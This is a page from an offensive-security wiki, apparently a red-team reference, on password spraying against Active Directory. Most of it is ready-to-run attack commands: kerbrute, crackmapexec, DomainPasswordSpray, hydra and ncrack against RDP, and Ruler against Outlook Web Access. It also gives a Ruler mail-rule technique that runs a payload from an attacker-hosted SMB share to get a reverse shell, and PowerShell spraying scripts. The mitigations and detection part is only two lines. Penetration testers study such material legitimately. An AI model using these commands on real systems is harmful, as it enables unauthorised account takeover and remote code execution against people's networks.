The Hive
GitHubLinkedInEmail
  • 🏠Home
  • 🌐RECON
    • πŸ“‘Passive (OSINT)
      • ⏩Metadata
      • ⏩Social Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • πŸ“‘Active
      • ⏩Host Discovery / Network Mapping
      • ⏩nmap cheat sheet
      • ⏩masscan cheat sheet
    • πŸ“‘Web Recon
      • ⏩Web Server Discovery
      • ⏩Hidden Hosts
      • ⏩Directories & Subdomains
      • ⏩SSL Certs
      • ⏩CMS
      • ⏩WAF Detection
    • πŸ“‘Firewall Evasion
  • πŸ“—Web Attacks
    • 🟒Server Side
      • 🟩Authentication Mechanisms
      • 🟩Access Control (Authorization)
      • 🟩Directory Traversal
      • 🟩OS Command Injection
      • 🟩Server-Side Request Forgery (SSRF)
      • 🟩XML External Entity (XXE) Injection
      • 🟩File Upload
      • πŸ”§SQL Injection
      • 🟩Information Disclosure
      • 🟩Business Logic
    • 🟒Client Side
      • 🟩Cross-site request forgery (CSRF)
      • πŸ”§Cross-site scripting (XSS)
  • πŸ“’Network attacks
    • 🟑Network Services
      • 🟨Brute Force
      • 🟨DNS
      • 🟨IPv6
      • 🟨FTP
      • 🟨SSH
      • 🟨SMB
      • 🟨SNMP
      • 🟨SMTP
      • 🟨POP3
      • 🟨IMAP
      • 🟨MSSQL
      • 🟨MySQL
      • 🟨MSRPC / RPCbind
      • 🟨LDAP
      • 🟨NTP
      • 🟨NFS
      • 🟨Telnet
      • 🟨WebDAV
      • 🟨RDP
      • 🟨RSIP
      • 🟨Rlogin
      • 🟨VPNs
      • 🟨Echo
      • πŸ”§RTP
      • πŸ”§VOIP
        • SIP
    • 🟑Network Devices
      • 🟨IPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • 🟨Switch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • 🟨Router Attacks
        • Router Exploitation
        • HSRP Hijacking
        • πŸ”§RIP Spoofing
        • πŸ”§OSPF Attacks
        • πŸ”§VRRP MitM
      • 🟨NAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • 🟨Printer Exploitation
    • 🟑MITM & Poisoning
      • 🟨Bettercap
      • 🟨HTTPS Downgrade / HSTS Bypass
      • 🟨Session Hijackings
      • 🟨Malicious Update
      • 🟨RDP Downgrade
      • 🟨DNS Spoofing
      • 🟨NTP Spoofing
      • 🟨ARP Spoofing
      • 🟨DHCP Poisoning
      • 🟨DHCPv6 Spoofing
      • 🟨SSDP Spoofing
      • 🟨WSUS Spoofing
      • 🟨ADIDNS Poisoning
      • 🟨WPAD Abuse
    • 🟑Wireless Attacks
      • 🟨Protocol Concepts
      • 🟨Basics
      • 🟨Attacks
    • 🟑Sniffing
      • 🟨Wireshark
      • 🟨tcpdump
    • 🟑Denial of Service
  • πŸ“•Red Team
    • πŸ”΄Windows
      • β­•Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • β­•Physical Attack
      • β­•Enumeration
      • β­•Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • β­•Credential Dumping
      • β­•Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • πŸ”΄Active Directory
      • β­•Domain Enumeration
      • β­•Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • β­•Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • β­•Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • β­•Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • β­•Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • β­•Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • πŸ”΄Linux
      • β­•Physical Attacks
      • β­•Enumeration
      • β­•Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • β­•Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • β­•Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • β­•Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • β­•Covering Tracks
    • πŸ”΄Command & Control (C2)
      • β­•Cobalt Strike
      • β­•Metasploit
      • β­•Empire & Starkiller
      • β­•Covenant
    • πŸ”΄Shells and Payloads
      • β­•Shell Escape / Interactive Shell
      • β­•LOL Binaries
      • β­•msfvenom
      • β­•SharpShooter & Ivy
      • β­•Other Payloads
    • πŸ”΄Payload Delivery
      • β­•Powershell Reflective DLL Load
      • β­•HTML Smuggling
      • β­•Office Macros
      • β­•DDE Auto - Word/Excel
      • β­•.SLK Excel
      • β­•XLM Macro 4.0
      • β­•LNK
      • β­•embedded OLE + LNK objects
      • β­•JScript
      • β­•HTA
      • β­•VBS
      • β­•VBA
      • β­•RTF
      • β­•REG
      • β­•MSI / MSIEXEC
      • β­•IQY
      • β­•CHM / HHC
      • β­•SCR
    • πŸ”΄Pivoting
      • β­•SSH Forwarding
      • β­•Socat Stealth Port Forward
      • β­•Socat Reverse Shell Relay
      • β­•HTTP Tunneling
      • β­•ICMP Tunneling
      • β­•DNS Tunneling
      • β­•Metasploit Pivoting
      • β­•Cobalt Strike Pivoteing
      • β­•VPN Tunneling
      • β­•Other Tools
    • πŸ”΄Exfiltration / File Transfer
      • β­•Encode / Decode Files
      • β­•TCP / UDP
      • β­•DNS
      • β­•SSH
      • β­•ICMP
      • β­•SMB
      • β­•FTP
      • β­•HTTP
      • β­•Other Methods
    • πŸ”΄Password Attacks
      • β­•Online Attacks
      • β­•Offline Attack
      • β­•Word List
      • β­•Cheat Sheet
    • πŸ”΄Defense Evasion
      • β­•Basic Tricks
      • πŸ”§Powershell Tricks
      • β­•Disabling Defenses
      • β­•UAC Bypass
      • β­•Process Migration
      • β­•Dechaining Macros
      • β­•VBA Sandbox Evasion
      • β­•AMSI Bypass
      • β­•SRP & AppLocker Bypass
      • β­•GPO Bypass
  • πŸ“˜Blue Team
    • πŸ”΅Threat Modeling / Hunting / Intelligence
    • πŸ”΅Linux Hardening
      • πŸ”ΉOS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • πŸ”ΉAccounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • πŸ”ΉAccess Control & Ownership
      • πŸ”ΉFile System Security
      • πŸ”ΉIntegrity Check
      • πŸ”ΉSandboxing
      • πŸ”ΉNetwork
      • πŸ”Ήiptables
        • Rule Sets
      • πŸ”ΉService Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • πŸ”ΉSystem Audit
      • πŸ”ΉLogging
        • auditd
      • πŸ”ΉEncryption
    • πŸ”΅Security Architecture
      • πŸ”ΉLayered Security
  • πŸŸͺPurple Teaming
    • 🟣Adversary Emulation
  • 🟧programming
    • 🟠C Programming
      • πŸ”ΈBasic Structure
      • πŸ”ΈGCC Compiler
      • πŸ”ΈPreprocessors
      • πŸ”ΈData Types
      • πŸ”ΈType Qualifiers
      • πŸ”ΈPointers
      • πŸ”ΈDynamic Memory Allocation
      • πŸ”ΈLoops
      • πŸ”ΈConditional Statements
      • πŸ”ΈFunctions
      • πŸ”ΈInput / Output
      • πŸ”ΈMacros
      • πŸ”ΈFiles
      • πŸ”ΈStrings Manipulation
      • πŸ”ΈBit Manipulation
      • πŸ”ΈData Structures
        • Arrays
        • Structures
        • Unions
      • πŸ”ΈAbstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • πŸ”ΈLibraries & Linking
      • πŸ”ΈError Recovery
    • πŸ”§Assembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • 🟫Miscellaneous
    • 🟀GNU Screen / tmux
    • 🟀SSH Tricks
    • 🟀Cats
      • netcat
      • ncat
      • pwncat
      • socat
      • πŸ”§powercat
    • 🟀Curl
    • 🟀Cross-compiling Binaries
Powered by GitBook
On this page
  • Kerberos pre-auth bruteforcing
  • Username bruteforce
  • Password bruteforce
  • Password spray
  • ​​Spray a pre-generated passwords list
  • RDP
  • SMB
  • Outlook Web Access
  • Get a Shell with Malicious Rules
  • MSSQL
  • BadPwdCount attribute
  • Invoke-DomainSpray
  • Spraying using dsacls
  • Spraying with Start-Process
  • Mitigations
  • Detection
  1. Red Team
  2. Active Directory
  3. Exploitation

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

PreviousCracking HashesNextADCS + PetitPotam NTLM Relay

Last updated 2 years ago

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Kerberos pre-auth bruteforcing

The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication".

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from his password. An attacker knowing that secret key doesn't need knowledge of the actual password to obtain tickets. This is called .

Sometimes, the pre-authentication is disabled on some accounts. The attacker can then obtain information encrypted with the account's key. While the obtained TGT cannot be used since it's encrypted with a key the attacker has no knowledge of, the encrypted information can be used to bruteforce the account's password. This is called .

Last but not least, the pre-authentication step can be bruteforced. This type of is way faster and stealthier than other bruteforcing methods relying on NTLM. Pre-authentication bruteforcing can even be faster by using UDP as the transport protocol, hence requiring less frames to be sent.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

Username bruteforce

 ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt

Password bruteforce

./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username

Password spray

root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
# brute mode, users and passwords lists supplied
smartbrute.py brute -bU $USER_LIST -bP $PASSWORD_LIST kerberos -d $DOMAIN
​
# smart mode, valid credentials supplied for enumeration
smartbrute.py smart -bP $PASSWORD_LIST ntlm -d $DOMAIN -u $USER -p $PASSWORD kerberos

​​Spray a pre-generated passwords list

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`

Using DomainPasswordSpray to spray a password against all users of a domain.

# https://github.com/dafthack/DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Using SMBAutoBrute.

Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose

RDP

Using RDPassSpray to target RDP services.

git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]

Using hydra and ncrack to target RDP services.

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10

SMB

$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

Outlook Web Access

password spray against an Exchange 2016 server in a offense.local domain:

ruler -k --domain offense.local brute --users users --passwords passwords --verbose

if you are attempting to replicate this technique in your own labs, you may need to update your /etc/hosts to point to your Exchange server.

If the password spray against an Exchange server was successful and you have obtained valid credentials, you can now leverage Ruler to create a malicious email rule to that will gain you remote code execution on the host that checks that compromised mailbox.

validate the compromised credentials are working by checking if there are any email rules created already:

ruler -k --verbose --email spotless@offense.local -u spotless -p 123456  display

The below suggests the credentials are working and that no mail rules are set for this account yet:

Get a Shell with Malicious Rules

we can use this technique to get a reverse shell:

#payload path:
/root/tools/evilm64.exe

# smb share and server:
smbserver.py tools /root/tools/

# setup your listener and run ruler to create a malicious email rule:
ruler -k --verbose --email spotless@offense.local --username spotless -p 123456  add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell

If you want to delete the malicious email rule, do this:

ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule

MSSQL

use admin/mssql/mssql_enum_sql_logins

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

Invoke-DomainSpray

Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name |  Out-File users.txt
type users.txt
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

Spraying using dsacls

$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"

# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }        
    }
}

Spraying with Start-Process

Similarly to dsacls, it's possible to spray passwords with Start-Process cmdlet and the help of PowerView's cmdlets:

# will spray only users that currently have 0 bad password attempts
# dependency - powerview

function Get-BadPasswordCount {
    param(
        $username = "username",
        $domain = "offense.local"
    )
    $pdc = (get-netdomain -domain $domain).PdcRoleOwner
    $badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount
    return $badPwdCount
}

$users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname
$domain = "offense.local"
$password = "123456"

Write-Host $users.Count users supplied; $users | % {
    $badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain
    if ($badPasswordCount -lt 0) {
        Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_"
        $credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force))
        Start-Process cmd -Credential ($credentials)
    } else {
        Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red
    }
}

Mitigations

  • Setup account lockout policy EVERYWHERE with and monitor authentication logs on end-point or your SIEM.

Detection

  • Log and monitor user authentication attempts and frequency.

(Python) can be used to bruteforce credentials through the Kerberos pre-authentication. The smartbrute utility can be used in a brute mode (standard bruteforcing features) or in a smart mode (requires prior knowledge of a low-priv user credentials, but operates LDAP enumeration and avoid locking out accounts, fetches the users list and so on).

πŸ“•
πŸ”΄
β­•
smartbrute
pass-the-key
ASREProast
credential bruteforcing
GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcingGitHub
Logo